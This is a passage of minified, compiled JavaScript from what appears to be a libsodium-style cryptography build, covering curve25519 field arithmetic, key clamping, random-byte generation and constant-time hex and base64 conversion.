rt3, M5, gt3), e6 = y4 + A8 | 0, e6 = (n9 = d5 + n9 | 0) >>> 0 < d5 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(f5, R5, p5, $3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = (d5 = Bt2(C5, Y5, At3, ut3)) + n9 | 0, n9 = y4 + e6 | 0, D5 = A8, Ft3 = A8 >>> 0 < d5 >>> 0 ? n9 + 1 | 0 : n9, e6 = Bt2(m5, G5, w5, L5), n9 = y4, A8 = (d5 = Bt2(h5, x5, q4, Et3)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < d5 >>> 0 ? e6 + 1 | 0 : e6, d5 = n9 = g4(c5, 19), n9 = (Q5 = Bt2(n9, Dt3 = n9 >> 31, K5, wt3)) + A8 | 0, A8 = y4 + e6 | 0, A8 = n9 >>> 0 < Q5 >>> 0 ? A8 + 1 | 0 : A8, Q5 = Bt2(i4, Qt3, E5, H5), e6 = y4 + A8 | 0, e6 = (n9 = Q5 + n9 | 0) >>> 0 < Q5 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(nt3, kt3, J5, vt3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = (Q5 = Bt2(l5, F5, u5, _t3)) + n9 | 0, n9 = y4 + e6 | 0, n9 = A8 >>> 0 < Q5 >>> 0 ? n9 + 1 | 0 : n9, Q5 = Bt2(k5, ct3, j5, Ct3), e6 = y4 + n9 | 0, e6 = (A8 = Q5 + A8 | 0) >>> 0 < Q5 >>> 0 ? e6 + 1 | 0 : e6, n9 = (Q5 = Bt2(f5, R5, b5, rt3)) + A8 | 0, A8 = y4 + e6 | 0, A8 = n9 >>> 0 < Q5 >>> 0 ? A8 + 1 | 0 : A8, Q5 = Bt2(p5, $3, z4, mt3), e6 = y4 + A8 | 0, e6 = (n9 = Q5 + n9 | 0) >>> 0 < Q5 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(B5, U5, C5, Y5), e6 = y4 + e6 | 0, Pt3 = n9 = A8 + n9 | 0, Q5 = n9 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, e6 = Bt2(e6 = g4(w5, 19), e6 >> 31, st3, It3), n9 = y4, A8 = Bt2(h5, x5, m5, G5), n9 = y4 + n9 | 0, n9 = (e6 = A8 + e6 | 0) >>> 0 < A8 >>> 0 ? n9 + 1 | 0 : n9, A8 = (d5 = Bt2(d5, Dt3, E5, H5)) + e6 | 0, e6 = y4 + n9 | 0, n9 = (i4 = Bt2(i4, Qt3, at3, yt3)) + A8 | 0, A8 = y4 + (A8 >>> 0 < d5 >>> 0 ? e6 + 1 | 0 : e6) | 0, A8 = n9 >>> 0 < i4 >>> 0 ? A8 + 1 | 0 : A8, i4 = Bt2(l5, F5, nt3, kt3), e6 = y4 + A8 | 0, e6 = (n9 = i4 + n9 | 0) >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(M5, gt3, u5, _t3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = (i4 = Bt2(f5, R5, k5, ct3)) + n9 | 0, n9 = y4 + e6 | 0, n9 = A8 >>> 0 < i4 >>> 0 ? n9 + 1 | 0 : n9, i4 = Bt2(b5, rt3, At3, ut3), e6 = y4 + n9 | 0, e6 = (A8 = i4 + A8 | 0) >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, n9 = (i4 = Bt2(B5, U5, p5, $3)) + A8 | 0, A8 = y4 + e6 | 0, A8 = n9 >>> 0 < i4 >>> 0 ? A8 + 1 | 0 : A8, i4 = Bt2(C5, Y5, ot3, pt3), e6 = y4 + A8 | 0, d5 = n9 = i4 + n9 | 0, Qt3 = e6 = n9 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, Dt3 = n9 = n9 + 33554432 | 0, Jt3 = e6 = n9 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, A8 = e6 >> 26, e6 = (67108863 & e6) << 6 | n9 >>> 26, n9 = A8 + Q5 | 0, Q5 = i4 = e6 + Pt3 | 0, e6 = n9 = e6 >>> 0 > i4 >>> 0 ? n9 + 1 | 0 : n9, Pt3 = i4 = i4 + 16777216 | 0, i4 = (33554431 & (e6 = i4 >>> 0 < 16777216 ? e6 + 1 | 0 : e6)) << 7 | i4 >>> 25, e6 = (e6 >> 25) + Ft3 | 0, e6 = (n9 = i4 + D5 | 0) >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, A8 = n9, Ft3 = n9 = n9 + 33554432 | 0, i4 = e6 = n9 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, a4[r11 + 56 >> 2] = A8 - (-67108864 & n9), e6 = Bt2(l5, F5, w5, L5), A8 = y4, n9 = (D5 = Bt2(h5, x5, J5, vt3)) + e6 | 0, e6 = y4 + A8 | 0, e6 = n9 >>> 0 < D5 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(c5, V3, j5, Ct3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(f5, R5, O5, tt3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, D5 = Bt2(W3, it3, z4, mt3), A8 = y4 + e6 | 0, A8 = (n9 = D5 + n9 | 0) >>> 0 < D5 >>> 0 ? A8 + 1 | 0 : A8, e6 = (D5 = Bt2(B5, U5, St3, ft3)) + n9 | 0, n9 = y4 + A8 | 0, n9 = e6 >>> 0 < D5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (D5 = Bt2(q4, Et3, Nt3, bt3)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < D5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(dt3, Tt3 = dt3 >> 31, m5, G5), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(p5, $3, K5, wt3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, D5 = (A8 = n9) + (n9 = Bt2(E5, H5, C5, Y5)) | 0, A8 = y4 + e6 | 0, n9 = (e6 = o5 >> 26) + (n9 = n9 >>> 0 > D5 >>> 0 ? A8 + 1 | 0 : A8) | 0, S5 = A8 = (o5 = (67108863 & o5) << 6 | S5 >>> 26) + D5 | 0, e6 = n9 = A8 >>> 0 < o5 >>> 0 ? n9 + 1 | 0 : n9, D5 = A8 = A8 + 16777216 | 0, o5 = e6 = A8 >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[r11 + 76 >> 2] = S5 - (-33554432 & A8), e6 = Bt2(B5, U5, w5, L5), n9 = y4, S5 = Bt2(h5, x5, z4, mt3), A8 = y4 + n9 | 0, A8 = (e6 = S5 + e6 | 0) >>> 0 < S5 >>> 0 ? A8 + 1 | 0 : A8, S5 = Bt2(c5, V3, q4, Et3), n9 = y4 + A8 | 0, n9 = (e6 = S5 + e6 | 0) >>> 0 < S5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (S5 = Bt2(m5, G5, O5, tt3)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < S5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(nt3, kt3, K5, wt3), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(E5, H5, u5, _t3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, n9 = (k5 = Bt2(k5, ct3, J5, vt3)) + n9 | 0, A8 = y4 + e6 | 0, e6 = (b5 = Bt2(l5, F5, b5, rt3)) + n9 | 0, n9 = y4 + (n9 >>> 0 < k5 >>> 0 ? A8 + 1 | 0 : A8) | 0, A8 = (p5 = Bt2(p5, $3, j5, Ct3)) + e6 | 0, e6 = y4 + (e6 >>> 0 < b5 >>> 0 ? n9 + 1 | 0 : n9) | 0, e6 = A8 >>> 0 < p5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(f5, R5, C5, Y5), e6 = y4 + e6 | 0, S5 = n9 = n9 + A8 | 0, e6 = (e6 = n9 >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6) + (n9 = i4 >> 26) | 0, p5 = i4 = S5 + (A8 = (67108863 & i4) << 6 | Ft3 >>> 26) | 0, e6 = A8 >>> 0 > i4 >>> 0 ? e6 + 1 | 0 : e6, b5 = n9 = i4 + 16777216 | 0, i4 = A8 = n9 >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[r11 + 60 >> 2] = p5 - (-33554432 & n9), e6 = Bt2(w5, L5, at3, yt3), A8 = y4, n9 = (p5 = Bt2(h5, x5, E5, H5)) + e6 | 0, e6 = y4 + A8 | 0, e6 = n9 >>> 0 < p5 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(l5, F5, c5, V3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, p5 = Bt2(O5, tt3, M5, gt3), A8 = y4 + e6 | 0, A8 = (n9 = p5 + n9 | 0) >>> 0 < p5 >>> 0 ? A8 + 1 | 0 : A8, e6 = (p5 = Bt2(f5, R5, W3, it3)) + n9 | 0, n9 = y4 + A8 | 0, n9 = e6 >>> 0 < p5 >>> 0 ? n9 + 1 | 0 : n9, A8 = (p5 = Bt2(At3, ut3, St3, ft3)) + e6 | 0, e6 = y4 + n9 | 0, e6 = A8 >>> 0 < p5 >>> 0 ? e6 + 1 | 0 : e6, n9 = A8, A8 = Bt2(B5, U5, Nt3, bt3), e6 = y4 + e6 | 0, e6 = (n9 = n9 + A8 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = n9, n9 = Bt2(ot3, pt3, dt3, Tt3), e6 = y4 + e6 | 0, e6 = n9 >>> 0 > (A8 = A8 + n9 | 0) >>> 0 ? e6 + 1 | 0 : e6, p5 = n9 = Ut3, n9 = (M5 = Bt2(n9, k5 = n9 >> 31, m5, G5)) + A8 | 0, A8 = y4 + e6 | 0, e6 = (C5 = Bt2(C5, Y5, st3, It3)) + n9 | 0, n9 = y4 + (n9 >>> 0 < M5 >>> 0 ? A8 + 1 | 0 : A8) | 0, A8 = e6 >>> 0 < C5 >>> 0 ? n9 + 1 | 0 : n9, n9 = e6, e6 = (e6 = o5 >> 25) + A8 | 0, e6 = (n9 = n9 + (o5 = (33554431 & o5) << 7 | D5 >>> 25) | 0) >>> 0 < o5 >>> 0 ? e6 + 1 | 0 : e6, A8 = n9, C5 = n9 = n9 + 33554432 | 0, o5 = e6 = n9 >>> 0 < 33554432 ? e6 + 1 | 0 : e6, a4[r11 + 80 >> 2] = A8 - (-67108864 & n9), n9 = i4 >> 25, A8 = (i4 = (33554431 & i4) << 7 | b5 >>> 25) + (Ht3 - (e6 = -67108864 & Ot3) | 0) | 0, e6 = n9 + (Lt3 - ((e6 >>> 0 > Ht3 >>> 0) + Yt3 | 0) | 0) | 0, e6 = A8 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, e6 = ((67108863 & (e6 = (n9 = A8 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6)) << 6 | n9 >>> 26) + (M5 = Mt3 - (-33554432 & Kt3) | 0) | 0, a4[r11 + 68 >> 2] = e6, a4[r11 + 64 >> 2] = A8 - (-67108864 & n9), e6 = Bt2(E5, H5, w5, L5), A8 = y4, n9 = (i4 = Bt2(h5, x5, K5, wt3)) + e6 | 0, e6 = y4 + A8 | 0, e6 = n9 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, A8 = (i4 = Bt2(c5, V3, J5, vt3)) + n9 | 0, n9 = y4 + e6 | 0, n9 = A8 >>> 0 < i4 >>> 0 ? n9 + 1 | 0 : n9, e6 = (i4 = Bt2(l5, F5, O5, tt3)) + A8 | 0, A8 = y4 + n9 | 0, A8 = e6 >>> 0 < i4 >>> 0 ? A8 + 1 | 0 : A8, n9 = (i4 = Bt2(W3, it3, j5, Ct3)) + e6 | 0, e6 = y4 + A8 | 0, e6 = n9 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(f5, R5, St3, ft3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = Bt2(z4, mt3, Nt3, bt3), e6 = y4 + e6 | 0, e6 = (n9 = A8 + n9 | 0) >>> 0 < A8 >>> 0 ? e6 + 1 | 0 : e6, A8 = (i4 = Bt2(B5, U5, dt3, Tt3)) + n9 | 0, n9 = y4 + e6 | 0, n9 = A8 >>> 0 < i4 >>> 0 ? n9 + 1 | 0 : n9, i4 = (e6 = Bt2(p5, k5, q4, Et3)) + A8 | 0, A8 = y4 + n9 | 0, A8 = e6 >>> 0 > i4 >>> 0 ? A8 + 1 | 0 : A8, n9 = i4, i4 = Bt2(e6 = Gt3, e6 >> 31, m5, G5), e6 = y4 + A8 | 0, A8 = n9 = n9 + i4 | 0, e6 = (e6 = n9 >>> 0 < i4 >>> 0 ? e6 + 1 | 0 : e6) + (n9 = o5 >> 26) | 0, e6 = (A8 = A8 + (o5 = (67108863 & o5) << 6 | C5 >>> 26) | 0) >>> 0 < o5 >>> 0 ? e6 + 1 | 0 : e6, e6 = (n9 = A8 + 16777216 | 0) >>> 0 < 16777216 ? e6 + 1 | 0 : e6, a4[r11 + 84 >> 2] = A8 - (-33554432 & n9), o5 = Q5 - (-33554432 & Pt3) | 0, i4 = d5 - (A8 = -67108864 & Dt3) | 0, h5 = Qt3 - ((A8 >>> 0 > d5 >>> 0) + Jt3 | 0) | 0, e6 = Bt2((33554431 & (A8 = e6)) << 7 | n9 >>> 25, e6 >>= 25, 19, 0), n9 = y4 + h5 | 0, e6 = e6 >>> 0 > (A8 = e6 + i4 | 0) >>> 0 ? n9 + 1 | 0 : n9, e6 = ((67108863 & (e6 = (n9 = A8 + 33554432 | 0) >>> 0 < 33554432 ? e6 + 1 | 0 : e6)) << 6 | n9 >>> 26) + o5 | 0, a4[r11 + 52 >> 2] = e6, a4[r11 + 48 >> 2] = A8 - (-67108864 & n9), et2(t7, r11 + 48 | 0)); - } - return I4 = r11 + 256 | 0, 0 | Rt3; - }, Yb: function(t7, e6) { - t7 |= 0; - var r11, n9 = 0; - return I4 = r11 = I4 + -64 | 0, ct2(r11, e6 |= 0, 32, 0), s4[0 | r11] = 248 & c4[0 | r11], s4[r11 + 31 | 0] = 63 & c4[r11 + 31 | 0] | 64, e6 = a4[r11 + 20 >> 2], n9 = a4[r11 + 16 >> 2], s4[t7 + 16 | 0] = n9, s4[t7 + 17 | 0] = n9 >>> 8, s4[t7 + 18 | 0] = n9 >>> 16, s4[t7 + 19 | 0] = n9 >>> 24, s4[t7 + 20 | 0] = e6, s4[t7 + 21 | 0] = e6 >>> 8, s4[t7 + 22 | 0] = e6 >>> 16, s4[t7 + 23 | 0] = e6 >>> 24, e6 = a4[r11 + 12 >> 2], n9 = a4[r11 + 8 >> 2], s4[t7 + 8 | 0] = n9, s4[t7 + 9 | 0] = n9 >>> 8, s4[t7 + 10 | 0] = n9 >>> 16, s4[t7 + 11 | 0] = n9 >>> 24, s4[t7 + 12 | 0] = e6, s4[t7 + 13 | 0] = e6 >>> 8, s4[t7 + 14 | 0] = e6 >>> 16, s4[t7 + 15 | 0] = e6 >>> 24, e6 = a4[r11 + 4 >> 2], n9 = a4[r11 >> 2], s4[0 | t7] = n9, s4[t7 + 1 | 0] = n9 >>> 8, s4[t7 + 2 | 0] = n9 >>> 16, s4[t7 + 3 | 0] = n9 >>> 24, s4[t7 + 4 | 0] = e6, s4[t7 + 5 | 0] = e6 >>> 8, s4[t7 + 6 | 0] = e6 >>> 16, s4[t7 + 7 | 0] = e6 >>> 24, e6 = a4[r11 + 28 >> 2], n9 = a4[r11 + 24 >> 2], s4[t7 + 24 | 0] = n9, s4[t7 + 25 | 0] = n9 >>> 8, s4[t7 + 26 | 0] = n9 >>> 16, s4[t7 + 27 | 0] = n9 >>> 24, s4[t7 + 28 | 0] = e6, s4[t7 + 29 | 0] = e6 >>> 8, s4[t7 + 30 | 0] = e6 >>> 16, s4[t7 + 31 | 0] = e6 >>> 24, oe2(r11, 64), I4 = r11 - -64 | 0, 0; - }, Zb: function() { - var t7, e6; - return I4 = t7 = I4 - 16 | 0, s4[t7 + 15 | 0] = 0, e6 = 0 | l4(35256, t7 + 15 | 0, 0), I4 = t7 + 16 | 0, 0 | e6; - }, _b: Ot2, $b: function(t7) { - var e6, r11 = 0, n9 = 0; - if (I4 = e6 = I4 - 16 | 0, (t7 |= 0) >>> 0 >= 2) { - for (r11 = (0 - t7 >>> 0) % (t7 >>> 0) | 0; s4[e6 + 15 | 0] = 0, r11 >>> 0 > (n9 = 0 | l4(35256, e6 + 15 | 0, 0)) >>> 0; ) - ; - r11 = (n9 >>> 0) % (t7 >>> 0) | 0; - } - return I4 = e6 + 16 | 0, 0 | r11; - }, ac: vt2, bc: function(t7, e6, r11) { - Wt2(t7 |= 0, e6 |= 0, 1024, r11 |= 0); - }, cc: ce2, dc: function() { - var t7 = 0, e6 = 0; - return (t7 = a4[9004]) && (t7 = a4[t7 + 20 >> 2]) && (e6 = 0 | Ie2[0 | t7]()), 0 | e6; - }, ec: function(t7, e6, r11) { - t7 |= 0, e6 |= 0; - var n9, A8 = 0, o5 = 0, a5 = 0; - if (I4 = n9 = I4 - 16 | 0, r11 |= 0) - f4(1240, 1100, 197, 1036), i3(); - else { - if (e6) - for (; s4[n9 + 15 | 0] = 0, o5 = t7 + A8 | 0, a5 = 0 | l4(35256, n9 + 15 | 0, 0), s4[0 | o5] = a5, (0 | e6) != (0 | (A8 = A8 + 1 | 0)); ) - ; - I4 = n9 + 16 | 0; - } - }, fc: function(t7, e6, r11, n9) { - t7 |= 0, r11 |= 0; - var A8 = 0, o5 = 0, a5 = 0; - if (!((n9 |= 0) >>> 0 > 2147483646 | n9 << 1 >>> 0 >= (e6 |= 0) >>> 0)) { - if (e6 = 0, n9) { - for (; A8 = (e6 << 1) + t7 | 0, o5 = 15 & (a5 = c4[e6 + r11 | 0]), s4[A8 + 1 | 0] = 22272 + ((o5 << 8) + (o5 + 65526 & 55552) | 0) >>> 8, o5 = A8, A8 = a5 >>> 4 | 0, s4[0 | o5] = 87 + ((A8 + 65526 >>> 8 & 217) + A8 | 0), (0 | n9) != (0 | (e6 = e6 + 1 | 0)); ) - ; - e6 = n9 << 1; - } else - e6 = 0; - return s4[e6 + t7 | 0] = 0, 0 | t7; - } - Kt2(), i3(); - }, gc: function(t7, e6, r11, n9, A8, i4, o5) { - t7 |= 0, e6 |= 0, r11 |= 0, A8 |= 0, i4 |= 0, o5 |= 0; - var h5 = 0, g5 = 0, u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0; - t: - if (n9 |= 0) { - e: { - r: { - n: { - A: { - if (!A8) { - for (g5 = 1, A8 = 0; ; ) { - if (!(255 & ((d5 = (65526 + (u5 = (223 & (f5 = c4[r11 + h5 | 0])) - 55 & 255) ^ u5 + 65520) >>> 8 | 0) | (I5 = 65526 + (f5 ^= 48) >>> 8 | 0)))) - break n; - if (e6 >>> 0 <= p5 >>> 0) - break A; - if (u5 = u5 & d5 | f5 & I5, 255 & l5 ? (s4[t7 + p5 | 0] = A8 | u5, p5 = p5 + 1 | 0) : A8 = u5 << 4, l5 ^= -1, (0 | (h5 = h5 + 1 | 0)) == (0 | n9)) - break; - } - h5 = n9; - break n; - } - for (; ; ) { - i: { - o: { - s: { - a: { - c: { - if (!(255 & ((f5 = (65526 + (u5 = (223 & (g5 = c4[r11 + h5 | 0])) - 55 & 255) ^ u5 + 65520) >>> 8 | 0) | (I5 = 65526 + (d5 = 48 ^ g5) >>> 8 | 0)))) { - if (255 & l5) - break r; - if (!At2(A8, g5)) - break t; - if ((h5 = l5 = h5 + 1 | 0) >>> 0 < n9 >>> 0) - break c; - break t; - } - if (e6 >>> 0 <= p5 >>> 0) - break A; - if (g5 = u5 & f5 | d5 & I5, !(255 & l5)) - break a; - s4[t7 + p5 | 0] = g5 | C5, p5 = p5 + 1 | 0; - break i; - } - for (; ; ) { - if (!(255 & ((f5 = (65526 + (u5 = (223 & (g5 = c4[r11 + h5 | 0])) - 55 & 255) ^ u5 + 65520) >>> 8 | 0) | (I5 = 65526 + (d5 = 48 ^ g5) >>> 8 | 0)))) { - if (!At2(A8, g5)) - break t; - if ((h5 = h5 + 1 | 0) >>> 0 < n9 >>> 0) - continue; - break s; - } - break; - } - if (e6 >>> 0 <= p5 >>> 0) - break o; - g5 = u5 & f5 | d5 & I5; - } - C5 = g5 << 4, l5 = 0; - break i; - } - h5 = n9 >>> 0 > l5 >>> 0 ? n9 : l5; - break t; - } - l5 = 0; - break A; - } - if (l5 ^= -1, g5 = 1, !((h5 = h5 + 1 | 0) >>> 0 < n9 >>> 0)) - break; - } - break n; - } - a4[9005] = 68, g5 = 0; - } - if (!(255 & l5)) - break e; - } - a4[9005] = 28, y5 = -1, h5 = h5 - 1 | 0, p5 = 0; - break t; - } - g5 || (p5 = 0, y5 = -1); - } - return o5 ? a4[o5 >> 2] = r11 + h5 : (0 | n9) != (0 | h5) && (a4[9005] = 28, y5 = -1), i4 && (a4[i4 >> 2] = p5), 0 | y5; - }, hc: function(t7, e6) { - t7 |= 0; - var r11 = 0; - return 1 != (-7 & (e6 |= 0)) && (Kt2(), i3()), 1 + ((3 & (r11 = (r11 = t7) + g4(t7 = (t7 >>> 0) / 3 | 0, -3) | 0) ? 2 & e6 ? r11 + 1 | 0 : 4 : 0) + (t7 << 2) | 0) | 0; - }, ic: function(t7, e6, r11, n9, A8) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0; - var o5 = 0, a5 = 0, h5 = 0, u5 = 0, l5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0; - t: { - e: { - r: { - n: { - A: { - i: { - o: { - if (1 == (-7 & (A8 |= 0)) && (l5 = (a5 = (n9 >>> 0) / 3 | 0) << 2, (a5 = g4(a5, -3) + n9 | 0) && (l5 = 2 & A8 ? (2 | l5) + (a5 >>> 1 | 0) | 0 : l5 + 4 | 0), !(e6 >>> 0 <= l5 >>> 0))) { - if (!(4 & A8)) { - if (!n9) { - A8 = 0; - break n; - } - A8 = 0; - break o; - } - if (!n9) { - A8 = 0; - break n; - } - for (A8 = 0; ; ) { - for (d5 = (I5 = c4[r11 + p5 | 0]) | d5 << 8, a5 = A8, A8 = 1 + ((((u5 |= 8) - 6 >>> 0) / 6 | 0) + A8 | 0) | 0; y5 = 65510 + (h5 = d5 >>> (u5 = (o5 = u5) - 6 | 0) & 63) >>> 8 | 0, C5 = h5 + 65484 >>> 8 | 0, s4[t7 + a5 | 0] = ~(1 + (16321 ^ h5)) >>> 8 & 45 | h5 + 252 & h5 + 65474 >>> 8 & ~C5 | ~(h5 + 32705) >>> 8 & 95 | y5 & h5 + 65 | C5 & h5 + 71 & ~y5, (0 | (a5 = a5 + 1 | 0)) != (0 | A8); ) - ; - if ((0 | (p5 = p5 + 1 | 0)) == (0 | n9)) - break; - } - if (!u5) - break A; - a5 = (n9 = 65510 + (o5 = I5 << 12 - o5 & 63) >>> 8 | 0) & o5 + 65, u5 = o5 + 252 & o5 + 65474 >>> 8 & ~(r11 = o5 + 65484 >>> 8 | 0), n9 = r11 & o5 + 71 & ~n9, p5 = o5 + 32705 | 0, d5 = 95, r11 = ~(1 + (16321 ^ o5)) >>> 8 & 45; - break i; - } - Kt2(), i3(); - } - for (; ; ) { - for (d5 = (I5 = c4[r11 + p5 | 0]) | d5 << 8, a5 = A8, A8 = 1 + ((((u5 |= 8) - 6 >>> 0) / 6 | 0) + A8 | 0) | 0; y5 = 65510 + (h5 = d5 >>> (u5 = (o5 = u5) - 6 | 0) & 63) >>> 8 | 0, C5 = h5 + 65484 >>> 8 | 0, s4[t7 + a5 | 0] = ~(1 + (16321 ^ h5)) >>> 8 & 43 | h5 + 252 & h5 + 65474 >>> 8 & ~C5 | ~(h5 + 16321) >>> 8 & 47 | y5 & h5 + 65 | C5 & h5 + 71 & ~y5, (0 | (a5 = a5 + 1 | 0)) != (0 | A8); ) - ; - if ((0 | (p5 = p5 + 1 | 0)) == (0 | n9)) - break; - } - if (!u5) - break A; - a5 = (n9 = 65510 + (o5 = I5 << 12 - o5 & 63) >>> 8 | 0) & o5 + 65, u5 = o5 + 252 & o5 + 65474 >>> 8 & ~(r11 = o5 + 65484 >>> 8 | 0), n9 = r11 & o5 + 71 & ~n9, p5 = o5 + 16321 | 0, d5 = 47, r11 = ~(1 + (16321 ^ o5)) >>> 8 & 43; - } - s4[t7 + A8 | 0] = r11 | ~p5 >>> 8 & d5 | a5 | u5 | n9, A8 = A8 + 1 | 0; - } - if (A8 >>> 0 > l5 >>> 0) - break r; - } - if (A8 >>> 0 < l5 >>> 0) - break e; - l5 = A8; - break t; - } - f4(1048, 1126, 231, 1319), i3(); - } - xt2(t7 + A8 | 0, 61, l5 - A8 | 0); - } - return xt2(t7 + l5 | 0, 0, (e6 >>> 0 > (r11 = l5 + 1 | 0) >>> 0 ? e6 : r11) - l5 | 0), 0 | t7; - }, jc: function(t7, e6, r11, n9, A8, o5, h5, g5) { - t7 |= 0, e6 |= 0, r11 |= 0, n9 |= 0, A8 |= 0, o5 |= 0, h5 |= 0; - var u5 = 0, l5 = 0, f5 = 0, p5 = 0, d5 = 0, I5 = 0, y5 = 0, C5 = 0; - t: { - e: { - r: { - n: { - A: { - i: { - o: { - s: { - a: { - c: { - h: { - if (1 == (-7 & (g5 |= 0))) { - if (f5 = 0, !n9) - break s; - if (4 & g5) - break h; - for (; ; ) { - f5 = l5; - g: { - u: { - l: { - f: { - for (; ; ) { - if (u5 = (u5 = (p5 = s4[r11 + f5 | 0]) - 65 | 0) & (~(90 - p5) & ~u5) >>> 8 & 255 | p5 + 4 & (~(p5 + 65488) & ~(57 - p5)) >>> 8 & 255 | p5 + 185 & (~(p5 + 65439) & ~(122 - p5)) >>> 8 & 255 | ~(1 + (16336 ^ p5)) >>> 8 & 63 | ~(1 + (16340 ^ p5)) >>> 8 & 62, 255 != (0 | (u5 |= (u5 - 1 & 1 + (65470 ^ p5)) >>> 8 & 255))) - break f; - if (u5 = 0, !A8) - break a; - if (!At2(A8, p5)) - break; - if ((f5 = f5 + 1 | 0) >>> 0 >= n9 >>> 0) - break l; - } - l5 = f5; - break a; - } - if (y5 = u5 + (y5 << 6) | 0, d5 >>> 0 > 1) - break u; - d5 = d5 + 6 | 0; - break g; - } - l5 = (t7 = l5 + 1 | 0) >>> 0 < n9 >>> 0 ? n9 : t7; - break a; - } - if (d5 = d5 - 2 | 0, e6 >>> 0 <= I5 >>> 0) - break c; - s4[t7 + I5 | 0] = y5 >>> d5, I5 = I5 + 1 | 0; - } - if (u5 = 0, !((l5 = f5 + 1 | 0) >>> 0 < n9 >>> 0)) - break; - } - break a; - } - Kt2(), i3(); - } - h: - for (; ; ) { - for (f5 = l5; ; ) { - g: { - if (u5 = (u5 = (p5 = s4[r11 + f5 | 0]) - 65 | 0) & (~(90 - p5) & ~u5) >>> 8 & 255 | p5 + 4 & (~(p5 + 65488) & ~(57 - p5)) >>> 8 & 255 | p5 + 185 & (~(p5 + 65439) & ~(122 - p5)) >>> 8 & 255 | ~(1 + (16288 ^ p5)) >>> 8 & 63 | ~(1 + (16338 ^ p5)) >>> 8 & 62, 255 == (0 | (u5 |= (u5 - 1 & 1 + (65470 ^ p5)) >>> 8 & 255))) { - if (u5 = 0, !A8) - break a; - if (At2(A8, p5)) - break g; - l5 = f5; - break a; - } - if (y5 = u5 + (y5 << 6) | 0, d5 >>> 0 < 2) - d5 = d5 + 6 | 0; - else { - if (d5 = d5 - 2 | 0, e6 >>> 0 <= I5 >>> 0) - break c; - s4[t7 + I5 | 0] = y5 >>> d5, I5 = I5 + 1 | 0; - } - if (u5 = 0, (l5 = f5 + 1 | 0) >>> 0 < n9 >>> 0) - continue h; - break a; - } - if (!((f5 = f5 + 1 | 0) >>> 0 < n9 >>> 0)) - break; - } - break; - } - l5 = (t7 = l5 + 1 | 0) >>> 0 < n9 >>> 0 ? n9 : t7; - break a; - } - l5 = f5, a4[9005] = 68, u5 = 1; - } - if (d5 >>> 0 > 4) - break o; - f5 = l5; - } - if (t7 = f5, e6 = -1, u5) { - l5 = t7; - break t; - } - if (~(-1 << d5) & y5) { - l5 = t7; - break t; - } - if (2 & g5) { - g5 = t7; - break A; - } - if (d5 >>> 0 < 2) { - g5 = t7; - break A; - } - if (l5 = t7 >>> 0 > n9 >>> 0 ? t7 : n9, f5 = d5 >>> 1 | 0, !A8) - break i; - for (g5 = t7; ; ) { - if ((0 | g5) == (0 | l5)) { - u5 = 68; - break n; - } - if (61 != (0 | (t7 = s4[r11 + g5 | 0]))) { - if (!At2(A8, t7)) { - u5 = 28, l5 = g5; - break n; - } - } else - f5 = f5 - 1 | 0; - if (g5 = g5 + 1 | 0, !f5) - break; - } - break A; - } - e6 = -1; - break t; - } - if (u5 = 68, t7 